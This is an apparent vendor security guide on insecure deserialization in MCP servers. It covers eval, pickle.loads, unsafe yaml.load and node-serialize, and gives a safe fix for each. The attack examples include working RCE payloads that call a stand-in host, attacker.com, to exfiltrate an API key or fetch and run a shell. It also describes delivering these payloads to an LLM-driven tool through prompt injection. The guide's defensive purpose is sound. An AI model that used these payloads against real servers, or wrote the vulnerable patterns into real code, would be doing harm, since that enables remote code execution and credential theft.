Topic: mcp server insecure deserialization security
MCP server insecure deserialization security — eval(JSON), pickle.loads, YAML.load, and node-serialize RCE payloads
Insecure deserialization occurs when an MCP tool handler reconstructs objects or evaluates data structures from attacker-supplied input using a mechanism that also executes code — eval(), Python's pickle.loads(), PyYAML's unsafe yaml.load(), or the npm node-serialize package. Each of these can execute arbitrary code on the server with the server process's full privileges if given a crafted payload. Safe alternatives exist for every pattern: they parse data without executing it.
Attack 1 — eval(JSON) and eval() on tool arguments
The most common insecure deserialization pattern in Node.js MCP servers is using eval() to parse JSON or to execute a configuration expression passed as a tool argument. Unlike JSON.parse(), eval() interprets its input as JavaScript — any JavaScript, including code that spawns processes, reads environment variables, or exfiltrates data:
// Vulnerable: eval() used instead of JSON.parse()
server.tool("evaluate_config", { config: z.string() }, async ({ config }) => {
// Developer intended: parse a JSON config object
// VULNERABLE: eval() executes arbitrary JavaScript
const parsed = eval('(' + config + ')');
return applyConfig(parsed);
});
// LLM-supplied argument (injected via prompt injection):
// config = "(function(){require('child_process').execSync('curl https://attacker.com/exfil?k='+process.env.API_KEY)})()"
// Result: API_KEY exfiltrated before eval() returns
The parenthesis-wrapping pattern eval('(' + input + ')') was historically used to parse JSON in early JavaScript before JSON.parse() existed. Code using this pattern in 2026 is either copied from old tutorials or deliberately using eval() for dynamic expression evaluation — neither is safe with untrusted input.
Attack 2 — Python pickle.loads() on tool input
Python's pickle module serializes arbitrary Python objects, including objects with custom __reduce__ methods that execute code when deserialized. An MCP tool that accepts a pickle-encoded payload and calls pickle.loads() on it gives the attacker the ability to run any Python expression at deserialization time:
import pickle, base64
# Vulnerable MCP tool handler (Python)
def handle_restore_session(args):
session_data = base64.b64decode(args['session'])
# VULNERABLE: pickle.loads() executes __reduce__ on deserialization
state = pickle.loads(session_data)
return restore_from_state(state)
# Attacker's payload construction:
import os, pickle, base64
class RCEPayload:
def __reduce__(self):
# Code that runs when pickle.loads() deserializes this object
return (os.system, ('curl https://attacker.com/shell | bash',))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
# Send payload as session argument → os.system() executes at deserialization
The __reduce__ method is called by the pickle deserializer to reconstruct objects. It returns a callable and its arguments — and the deserializer calls the callable with those arguments. There is no sandboxing: any callable in the Python runtime can be used, including os.system, subprocess.Popen, or exec.
Attack 3 — PyYAML yaml.load() with full Loader
PyYAML's yaml.load() function, when called with the default Loader class or explicitly with Loader=yaml.Loader, supports YAML tags that instantiate arbitrary Python objects — including !!python/object/apply which calls any Python function with attacker-controlled arguments:
# Vulnerable: yaml.load() with unsafe Loader
import yaml
def handle_parse_config(args):
# VULNERABLE: yaml.load() without SafeLoader executes !!python tags
config = yaml.load(args['yaml_config'], Loader=yaml.Loader)
return apply_config(config)
# Attacker payload:
# !!python/object/apply:os.system ["curl https://attacker.com/shell | bash"]
#
# YAML deserialization calls os.system() with the attacker's command
# PyYAML deprecation warning: "calling yaml.load() without Loader=... is deprecated"
# — many servers suppress this warning and never fix the underlying issue
PyYAML has emitted a deprecation warning about unsafe yaml.load() since 2017. The warning message recommends yaml.safe_load(). Despite nine years of warnings, SkillAudit's scans regularly find Python MCP servers using yaml.load() without a safe Loader — often because the server loads a YAML configuration file the developer considers "internal" without recognizing that tool argument injection can control the file's contents.
Attack 4 — node-serialize IIFE payload
The npm package node-serialize (≈2.3k weekly downloads as of 2026) serializes JavaScript functions using their .toString() representation and deserializes them by calling eval(). Any function-valued property in the deserialized object is executed if wrapped in an IIFE (Immediately Invoked Function Expression):
// Vulnerable: node-serialize.unserialize() on tool input
const serialize = require('node-serialize');
server.tool("restore_user_pref", { prefs: z.string() }, async ({ prefs }) => {
// VULNERABLE: unserialize() calls eval() on function-valued properties
const userPrefs = serialize.unserialize(prefs);
return applyPreferences(userPrefs);
});
// Attacker payload (the IIFE suffix causes immediate execution at parse time):
// {"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id > /tmp/pwned')}()"}
// Note: the () at the end makes this an IIFE — executes during unserialize()
The node-serialize package has been publicly known to be exploitable in this way since 2017 (npm advisory GHSA-9h6g-pr28-7cqp). It has no safe mode. Any call to node-serialize.unserialize() on attacker-controlled input is exploitable.
Fix 1 — replace eval() with JSON.parse()
JSON.parse() parses JSON syntax only. It does not evaluate JavaScript expressions, does not execute functions, and throws a SyntaxError on any non-JSON input:
// Safe: JSON.parse() cannot execute code
server.tool("evaluate_config", { config: z.string() }, async ({ config }) => {
let parsed;
try {
parsed = JSON.parse(config);
} catch (e) {
throw new Error('Invalid JSON config');
}
// Optionally validate the shape with zod or similar
const validated = ConfigSchema.parse(parsed);
return applyConfig(validated);
});
Fix 2 — replace pickle with json or msgpack
For Python MCP servers that need to serialize session state or structured data, use json (built-in) or msgpack (binary format, no code execution). For more complex object graphs, use a schema-driven serializer like marshmallow or pydantic:
import json
# Safe: json.loads() parses JSON only — no __reduce__ execution
def handle_restore_session(args):
try:
state = json.loads(args['session'])
except json.JSONDecodeError:
raise ValueError('Invalid session format')
# Validate the shape before using
if not isinstance(state, dict) or 'user_id' not in state:
raise ValueError('Unexpected session structure')
return restore_from_state(state)
Fix 3 — replace yaml.load() with yaml.safe_load()
yaml.safe_load() uses PyYAML's SafeLoader, which only supports standard YAML types (strings, numbers, lists, dicts, booleans, null). It rejects !!python/ tags that would instantiate arbitrary Python objects:
import yaml
# Safe: SafeLoader rejects !!python/object/apply and all object tags
def handle_parse_config(args):
try:
config = yaml.safe_load(args['yaml_config'])
except yaml.YAMLError as e:
raise ValueError(f'Invalid YAML: {e}')
if not isinstance(config, dict):
raise ValueError('Config must be a YAML mapping')
return apply_config(config)
Fix 4 — remove node-serialize; use JSON.parse() or zod
There is no safe way to use node-serialize.unserialize() on untrusted input. Remove the package and replace it with JSON.parse() combined with schema validation:
import { z } from 'zod';
const UserPrefsSchema = z.object({
theme: z.enum(['light', 'dark', 'system']),
fontSize: z.number().min(10).max(24),
language: z.string().max(10),
});
server.tool("restore_user_pref", { prefs: z.string() }, async ({ prefs }) => {
let raw;
try {
raw = JSON.parse(prefs);
} catch {
throw new Error('Invalid prefs format');
}
const userPrefs = UserPrefsSchema.parse(raw); // throws if shape is wrong
return applyPreferences(userPrefs);
});
SkillAudit checks for insecure deserialization
SkillAudit's static analysis scans for eval( calls on non-literal arguments, pickle.loads( on tool argument sources, yaml.load( without Loader=yaml.SafeLoader, and node-serialize in the dependency tree. An A-grade MCP server uses JSON.parse(), yaml.safe_load(), or a schema-validated binary format for all deserialization of tool arguments. See the MCP server security checklist and the SSTI guide for related code-execution attack classes.
Check your MCP server for unsafe deserialization
SkillAudit detects eval(), pickle.loads(), unsafe YAML loaders, and node-serialize usage in 60 seconds.
Run a free audit